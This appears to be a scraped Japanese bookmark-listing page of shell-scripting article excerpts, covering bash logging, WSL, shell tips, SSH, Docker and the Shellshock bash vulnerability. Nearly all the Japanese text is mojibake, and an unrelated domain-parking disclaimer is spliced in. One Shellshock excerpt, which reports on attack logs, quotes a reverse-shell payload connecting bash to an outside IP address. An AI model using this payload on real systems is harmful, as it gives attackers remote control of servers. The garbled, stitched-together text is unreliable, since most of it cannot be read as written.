Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article?
æ¬è¨äºãåã£æãã¨ãªã£ã¦ã声ãããé ããæ¬è¨äºã®å¢è£ãªãã¡ã¤ã³çã¨ãªãè¨äºãSoftwareDesign 2018å¹´1æå·ã®ã·ã§ã«ã¹ã¯ãªããç¹é第2ç« ã¨ãã¦å·çãã¾ããããªãã¡ã¤ã³çã«ã¯ããã®è¨äºã§è§¦ãã¦ããªãææ³é¢ã§ã®åããã«ããã«ã¤ãã¦ã®è§£èª¬ãå«ã¾ãã¦ãã¾ãããã®ææ³é¢ã§ã®åããã«ããã®è§£èª¬ã®ä¸é¨ã«ç¸å½ããè¨äºãããã¾ãã®ã§ããã²ãã¡ããä½µãã¦ã覧ä¸ããã Shell Script Advent Calendarãã覧ã®çæ§ãå³ã ããã5æ¥ç®ã«ç¶ã2度ç®ã®ã¨ã³ããªã¼ã®Piroã§ãã ååã¯èªä½ã®Bashã¹ã¯ãªãã製Twitterã¯ã©ã¤ã¢ã³ãããã¿ã«å®è£ ã解説ãã¾ããããä»æ¥ã¯ä»ã®è¨èªã§å¤å°ã®ããã°ã©ãã³ã°çµé¨ã¯ãããã ãã©ãã©ãã«ãã·ã§ã«ã¹ã¯ãªããã¯è¦æã â¦â¦ã¨ãã人ã®ããã®ãã·ã§ã«ã¹ã¯ãªããã«ããããã°ã©ãã³ã°ã®åæã解説ãã¦ã¿ããã¨æãã¾ããå¤åãããã°ã©ãã³ã°å ¥éã¬ãã«ã®äººãä¸ç´
This webpage was generated by the domain owner using Sedo Domain Parking. Disclaimer: Sedo maintains no relationship with third party advertisers. Reference to any specific service or trade mark is not controlled by Sedo nor does it constitute or imply its association, endorsement or recommendation.
ååãå®è¡ãããã°ãsyslogã§è¨é²ãããSnoopy Loggerãç´¹ä»ããã®ã ããä»åç´¹ä»ããæ©è½ã¯bashãå©ç¨ãã¦ããã¨åããããªäºãåºæ¥ãã ãããbashã§ã¯4.1以éã ã¨historyãsyslogã«åºååºæ¥ãããã«ãªã£ã¦ããã â¦ãã ãã©ãããã»ãã¥ãªãã£ã®åé¡(ã³ã³ã½ã¼ã«ã§å®è¡ããã³ãã³ãã«ãã¹ã¯ã¼ããå ¥ã£ã¦ããããªã©ï¼çå½ã¯ä¸æ)ãããããã§ããã£ã¹ããªãã¥ã¼ã·ã§ã³ã«å ¥ã£ã¦ããbashã§ã¯ãã®æ©è½ã¯ãªãããããã¦ããããã ã ãã®ããããã®æ©è½ã使ãã«ã¯bashãå¥éã³ã³ãã¤ã«ããå¿ è¦ãããã ä»åã¯ããã¡ãã®ãµã¤ãã®å 容ãå ã«CentOS 7ä¸ã§ãã®ä½æ¥ãè¡ã£ã¦ããã 1.åæã¨ãªãããã±ã¼ã¸ã®ãã¦ã³ãã¼ã ã³ã³ãã¤ã«ãè¡ãã«ããã£ã¦ãåæã¨ãªãããã±ã¼ã¸ããã¦ã³ãã¼ããã¦ããã å¿ è¦ã«ãªãã®ã¯gccã¨makeã yum -y install gcc make 2.
ã¯ããã« blogs.windows.com Windows 10ã®Insiderãã«ã14316ãå ¬éããã¾ããã//Buildã§çºè¡¨ãããbash on Windowsãå ¥ã£ã¦ãã¾ããbashãªã®ã§bashãã®ãã®ã®æåã¯ã¨ããããWindowsã§å®éã«ã©ãè¦ããã®ã確èªãã¦ã¿ã¾ãããã¼ã¿ãªã®ã§å°æ¥å¤ããã¨æãã¾ãã®ã§ããã®ç¹ã¯ããããã ã¤ã³ã¹ãã¼ã« ååèµ·åæã®bash.exeã¯ã³ã³ã½ã¼ã«ã®ã¹ãã¢ã¢ããª(Windows Runtimeã使ãã¢ããª)ã®ããã§ãã¡ãã£ã¨éãã¾ããã注æãå ¬ã«ãªããã®ã§ã¯åãã¦ã®Windows Runtimeã使ã£ã¦ã¹ãã¢ã«ã¢ã¯ã»ã¹ããã³ã³ã½ã¼ã«ã¢ããªã±ã¼ã·ã§ã³ã£ã¦ãã¨ã«ãªããã§ãããããçå±ä¸ã¯ã§ãããã¨ã¯ããã£ã¦ãã¾ãããã ã¾ãã¯ããã°ã©ã ã®è¿½å ã¨åé¤ããWindowsã®æ©è½ã§ãWindows Subsystem for Linuxãã追å ãã¾ãã
Windows Subsystem for Linux (WSL) is a feature of Windows that allows you to run a Linux environment on your Windows machine, without the need for a separate virtual machine or dual booting. WSL is designed to provide a seamless and productive experience for developers who want to use both Windows and Linux at the same time. Use WSL to install and run various Linux distributions, such as Ubuntu, D
ï¼»éå ±ï¼½ãã¤ã¯ãã½ãããBashã·ã§ã«ãWindowsã«æè¼ãEmacsãVT100ãªã©ãµãã¼ããBuild 2016 ãã¤ã¯ãã½ããã¯éçºè åãã®å¹´æ¬¡ã¤ãã³ããBuild 2016ããç±³ãµã³ãã©ã³ã·ã¹ã³ã§éå¬ãã¦ãã¾ããåæ¥ã®åºèª¿è¬æ¼ã§ã¯ãWindows 10ãç»å ´ãã¦1å¹´ãè¨å¿µãã大åã¢ãããã¼ããWindows 10 Anniversary Updateããçºè¡¨ã ãã®ä¸ã§ãUNIXãLinuxã§ä½¿ããã¦ããã·ã§ã«ã®1ã¤ãBashããWindowsã«æè¼ãããã¨çºè¡¨ãããã¾ããã æ¬ç©ã®BashãWindowsã§èµ°ã Kevin Galloæ°ãCorporate Vice President, Windows and Devices Groupã Bash on Windowsãçºè¡¨ããã ããã¯æ¬ç©ã®Bashã ãä»®æ³ãã·ã³ã§ãã¯ãã¹ã³ã³ãã¤ã«ããããã¼ã«ã§ããªãããã¤ãã£ãã®Ubu
Shell Script Advent Calendar 2015 4æ¥ç® ã®æ稿ã§ãã 以åããèªåç¨ã«ã¡ã¢ãã¦ãããã®ãæåèµ·ãããã¾ããã ã¯ããã« ä»äºã§ã·ã§ã«ã使ãå§ãã¦3å¹´ãããçµã¡ã¾ããã éä¸ãpython ã ruby ã§ã¹ã¯ãªããä½ã£ãããã¡ãã£ã¨ zsh ã«æµ®æ°ããããã¾ãããããªãã ããã ã§ä»ã Bash ã使ããã¨ãå¤ãã§ãã ãã®3å¹´éãã¹ã¼ãã¼ã·ã§ã«è¸äºº(@ebanãã)ã«ãææé ããããGolfãããï¼@ebanã®å½±é¿ï¼ãã·ã§ã«è¸åå¼·ä¼ã«åå ãããï¼@ebanã®å½±é¿ï¼ãã¦ãã¾ããã ãããª3å¹´éã®ã¾ã¨ãã¨ãã¦ãã·ã§ã«ã¹ã¯ãªããåãã¾ãã¦ã ã£ã3å¹´åã®ç§ã«åããTipséãæ¸ãã¦ã¿ã¾ããã è¶£æ¨ åé ç®ãã¨ã«ãã¾ãåå¿è ï¼éå»ã®ç§ããã£ã¦ãï¼ããããå®è£ ãä¾ç¤ºãã¦ããã®æ¬¡ã«ãããè¯ãããªå®è£ ãä¾ç¤ºããæ§æã¨ãã¦ãã¾ãã å®è¡ç°å¢ OS Mac OS X Yos
ãã°ãããLinuxããMacã®ã¿ã¼ããã«è§¦ã£ã¦ãã¨ããããªãã¨ãæãã人ãå¤ãã®ã§ã¯ã ãcdããrmãããåºæ¬çãªäºã¯ã§ããããã«ãªã£ããªããã§ãããã¨ããªã«ãã§ãããããï¼ã ãã®æ¬èªãã°ãããã¾ããããã¤ãµããµãããã¦ãLinuxä¸çæãåºããã¾ãã æ¬æ¸ãæã«ã¨ã£ããã£ãã Linuxãä»ã¾ã§ãããªãã¨ãªãã¯è§¦ãæ©ä¼ããã£ããä»äºã§ã¯Amazon Linuxã2å¹´ã»ã©ä½¿ã£ã¦ãããããã®ããã°ããããã®VPSä¸ã®Cent OSã§åãã¦ããããã¾ãæä½éã®ä½¿ãæ¹ã¯ç¥ã£ã¦ãããããªãã§ãããã Macãå ã¯BSD UNIXãã¼ã¹ãªã ããã£ã¦ãä½æ°ã«UnixãLinuxç°å¢ã¯ãããã¸ãã«åå¨ãã¦ããã ãã ãæè¿å ¥ã£ãç¾å ´ããããããã¨ããããããã«ç¹ããªããã¨ãããããèªåã«ã¨ã£ã¦ã¯çªæ¯ãã¦æ»ãã§ãã¾ããããªç°å¢ã ã£ããã§ããã æ¥ã ã®ä»äºã«ããã¦ããã³ãã³ãã®ä½¿ãæ¹ã調ã¹ãã®ã«ãä¸è¦
æè¿ã¯ã¯ã©ã¦ãä¸ã®ãµã¼ãã¼ãå©ç¨ããäºãå¤ããªã£ã¦ããã ãµã¼ãã¼ã®ç¨æããããã¯ã¼ã¯å¨ãã®è¨å®ã¯ã¤ã³ãã©é¨éããã£ã¦ããããã©ãã¢ããªã®ãããã¤ï¼è¨å®ã¯éçºè ãããäºãå¤ãã®ã§ãéçºã¡ã¤ã³ã§ãã£ã¦ãã¨ã³ã¸ãã¢ã§ãæä½éSSHã®ç¥èã¯å¿ è¦ã«ãªãã ã¾ããVagrantçã§ãã¼ã«ã«ç°å¢ã«VMãä½æããäºãããã®ã§ããã¼ã«ã«ç°å¢å ã§SSHã使ç¨ããã±ã¼ã¹ãå¢ãã¦ããã ã¨ããããã§ã¤ã³ãã©ã¨ã³ã¸ãã¢ãããªãã¦ãSSHã¯ã©ã¤ã¢ã³ãã®ç¥èã¯å¿ é ã«ãªã£ã¦ãã¦ããã®ã§ãæ¹ãã¦SSHã®åå¦ç¿ããã¦ã¿ããã¨ã«ããã SSHã¨ã¯ æå·ãèªè¨¼ã®æè¡ãå©ç¨ãã¦ãå®å ¨ã«ãªã¢ã¼ãã³ã³ãã¥ã¼ã¿ã¨éä¿¡ããããã®ãããã³ã«ã SSHã§ã¯ä»¥ä¸ã®ç¹ã§å¾æ¥ã®Telnetããå®å ¨ãªéä¿¡ãè¡ããã1 ãã¹ã¯ã¼ãããã¼ã¿ãæå·åãã¦éä¿¡ããã ã¯ã©ã¤ã¢ã³ãããµã¼ãã¼ã«æ¥ç¶ããæã«ãæ¥ç¶å ãæå³ããªããµã¼ãã¼ã«èªå°ããã¦ããªããå³å¯ã«
eth0ã®IPã¢ãã¬ã¹è¨å® change.eth0.ipaddr [IPã¢ãã¬ã¹] #!/bin/bash ipaddr=$1 [ -z "$ipaddr" ] && read -p "new eth0 ipaddr: " ipaddr sed -i "s/IPADDR=.*/IPADDR=$ipaddr/" /etc/sysconfig/network-scripts/ifcfg-eth0 cat /etc/sysconfig/network-scripts/ifcfg-eth0 ãã¹ãåå¤æ´ change.hostname [ãã¹ãå] #!/bin/bash hostname=$1 [ -z "$hostname" ] && read -p "new hostname: " hostname sed -i "s/HOSTNAME=.*/HOSTNAME=$hostname/" /et
ã·ã§ã«ããã°ã©ãã³ã°ã«ããã¦ãã«ã¼ãã«ã¦ã³ã¿ãªã©ãã¤ã³ã¯ãªã¡ã³ãããã¨ããã©ã®ããã«ãã¾ããï¼ ãããªãã§ãããµã³ãã«ããã #!/bin/bash COUNT=0 while [ $COUNT -lt 1000 ]; do # ä½ãã®å¦ç COUNT=`expr $COUNT + 1` # COUNT ãã¤ã³ã¯ãªã¡ã³ã done expr ã³ãã³ãã使ãï¼ ã·ã§ã«ããã°ã©ãã³ã°ã®å ¥éè¨äºãªã©ãè¦ãã¨ãå¤æ°ã®ã¤ã³ã¯ãªã¡ã³ãã«ä¸è¨ã®ãã㪠COUNT=`expr $COUNT + 1` ãç¨ãã¦ãããã®ãå¤ãããã¾ãã ãããããã®æ¸ãæ¹ã¯ ã¨ã¦ãé ã ã§ãã空ã®ã«ã¼ãã1000åç¹°ãè¿ãã ãã§ãæå ã® mac (Core i7) ã§ç´2ç§ãããã£ã¦ãã¾ãã¾ããã
Docker ã使ã£ã¦ä½ããã®ãµã¼ãã¹ãæä¾ããã«ã¯å½ç¶ãªããå¤é¨ããã¢ã¯ã»ã¹ããå¿ è¦ãããã ä»å㯠Docker çµã¿è¾¼ã¿ã®æ©è½ã使ã£ã¦ã³ã³ããã«å¤é¨ããã¢ã¯ã»ã¹ããæ¹æ³ã試ãã¦ã¿ãã ä»å使ã£ãç°å¢ã¯ä»¥ä¸ã®éãã $ cat /etc/redhat-release CentOS release 6.5 (Final) $ uname -r 2.6.32-431.11.2.el6.x86_64 $ sudo yum -y install http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm $ sudo yum -y install docker-io $ sudo service docker start $ sudo chkconfig docker on $ docker --versi
Tweet å é±å ¬éããã bash ã®èå¼±æ§ã«ã¤ãã¦ã管çããã¦ãããµã¼ãã¼ã¸ã®å½±é¿ãæ°ã«ããã¦ããæ¹ãå¤ãã¨æãã¾ããããã§ç·æ¥ã³ã©ã ã¨ãã¦ãå½±é¿ç¯å²ã®èª¿æ»æ¹æ³ã«ã¤ãã¦ç´¹ä»ãã¾ãã bash ã¯é常ã«å¤ãã®å ´é¢ã§ä½¿ç¨ããã¦ããããã°ã©ã ã§ããããã bash ãå¼ã³åºãå¯è½æ§ã®ããããã°ã©ã ãå ´é¢ãã½ã¼ã¹ã³ã¼ã解æã«ããåæãããã¨ã¯å°é£ã§ããã¾ããè¨å®ãã¡ã¤ã«ã§ã®æå®å 容ãªã©ã«ãä¾åããå¯è½æ§ããããæç« ã§ã®ãååãã«ããæ¼ãã®ç¡ãç確ãªå¤æãã§ãããã©ããä¸å®ãæ®ãã¾ãã Red Hat Enterprise Linux ï¼ RHEL ï¼ã«ã¯ SELinux ã¨ããã»ãã¥ãªãã£ãå¼·åããããã®æ©è½ãæè¼ããã¦ãã¾ããããããèå¼±æ§ã®åé¡ã«éãããã·ã¹ãã ã®ãã©ãã«äºé²ã¨é©åãªå¯¾å¦ãè¡ãä¸ã§ã¯ã対象ã¨ãªãã·ã¹ãã ã®è¨å®ãæåãäºåã«ææ¡ãã¦ãããã¨ãéè¦ã§ããã¨èãã¾ãã ä»åã®èå¼±
æ¡ä»¶1. /bin/shã®å®ä½ãbashã®ãã£ã¹ããªãã¥ã¼ã·ã§ã³ RHEL CentOS Scientific Linux Fedora Amazon Linux openSUSE Arch Linux (èªãè¨å®ããå ´å: Debian, Ubuntu) æ¡ä»¶2. åä½ç°å¢ CGI (ã¬ã³ã¿ã«ãµã¼ãã§ãããã¡ãªCGIã¢ã¼ãã®PHPçãå«ã) Passenger(Ruby) æ¡ä»¶3. ããã°ã©ã å 容 Passengerã¯å ¨æ»äº¡ *1 systemã `command`ã '| /usr/lib/sendmail' ãªã©ã§å¤é¨ã³ãã³ãå®è¡ *2 PHPã®mailãmb_send_mailããã®ä»ãã¬ã¼ã ã¯ã¼ã¯çãä»ããã¡ã¼ã«éä¿¡ *3 以ä¸ã¯æ¡ä»¶1ãä¸è¦ æ示çã«bashãå¼ã¶ å é 㧠#!/bin/bash ã #!/usr/bin/env bash ãã¦ããããã°ã©ã ãå®è¡ (rbenv
件ã®bashã®èå¼±æ§ãæ®ã£ã¦ãããã¨ãæå¾ ããã¢ã¯ã»ã¹ã«ã¤ãã¦ã24æéã»ã©åã«ã¯æ¥ã¦ãªãã£ããã§ãããããã»ã©ãã°ãè¦ã¦ã¿ããã¡ãã£ã¨ã ãæ¥ã¦ã¾ããã ãã°ã«æ®ãã®ã¯ User-Agent ããããªã®ã§ãããã»ãã®ãã£ã¼ã«ãã§è©¦ãã¦ãã輩ããããã¨ã§ãããã ã¢ã¯ã»ã¹å ãéå¼ããã¦ã¿ããã§ãããã¯ã©ã¦ããµã¼ãã¹ã°ã£ããã§ããï¼ä¸åã ã shodan.io ãªããã¡ã¤ã³ã®ä¸ã®IPã¢ãã¬ã¹ãããã£ãã®ã ãã©ããªãã ããâ¦â¦ï¼ã ãã¦ã() { :;}; ã®å¾ã«ãªã«ããã£ã¦ãã®ããã¨ããã®ãªãã§ãããä¸ã¤ THIS IS VULNERABLE 㨠echo ããã ãã¨ãã人ããã¾ãããè¦åã®ã¤ãããªã®ããæåã§ä½ã確èªãã¦ããã®ããªããã¨ã¯pingã ãªâ¦â¦ã¨æã£ã¦ããã§ãããã¡ãã£ã¨ç¹ç°ãªãã®ãã /bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
1: ãã§ãã¦ã®ãã¾ã â ï¼ ï¼¼(^o^)ï¼ 2014/09/25(æ¨) 11:35:22.83 ID:???0.net å¤ãã®UNIXããã³Linuxã®ã¦ã¼ã¶ã¼ã«å©ç¨ããã¦ãããBourne Again SHell(Bash)ãã«é大ãªã»ãã¥ãªãã£ãã¼ã«ãçºè¦ãããã ãã®ã»ãã¥ãªãã£ãã¼ã«ã¯Bashã«ããç°å¢å¤æ°ã®è©ä¾¡æ¹æ³ã«èµ·å ãã¦ãããããã«ã¼ã¯ç¹å¥ã«ä½æããå¤æ°ãç¨ãã¦ã»ãã¥ãªãã£ãã¼ã«ãçªããã·ã§ã«ã³ãã³ããå®è¡ã§ãããããã«ãããµã¼ãã¯ãããªãæ¬æ ¼çãªæ»æã«å¯¾ãã¦èå¼±ãªç¶æ ã¨ãªãã æ°ããä»ã®ã»ãã¥ãªãã£ãã¼ã«ã¨åæ§ã«ãä»åã®ã»ãã¥ãªãã£ãã¼ã«ãæªç¨ããã«ã¯é«ã¬ãã«ã®ã¢ã¯ã»ã¹æ¨©ãå¿ è¦ã ããããRed Hatã®ã»ãã¥ãªãã£ãã¼ã ã«ããã¨ãããã«ã¼ã¯ç¹å®ã®ãµã¼ãã¹ãã¢ããªã±ã¼ã·ã§ã³ãçµç±ãããã¨ã§ãèªè¨¼ãªãã«ãªã¢ã¼ãããç°å¢å¤æ°ãå ¥åããã»ãã¥ãªãã£ãã¼ã«ãæªç¨ã§ããã¨ããã ã«ã¼ã
ãªãªã¼ã¹ãé害æ å ±ãªã©ã®ãµã¼ãã¹ã®ãç¥ãã
ææ°ã®äººæ°ã¨ã³ããªã¼ã®é ä¿¡
å¦çãå®è¡ä¸ã§ã
j次ã®ããã¯ãã¼ã¯
kåã®ããã¯ãã¼ã¯
lãã¨ã§èªã
eã³ã¡ã³ãä¸è¦§ãéã
oãã¼ã¸ãéã
{{#tags}}- {{label}}
{{/tags}}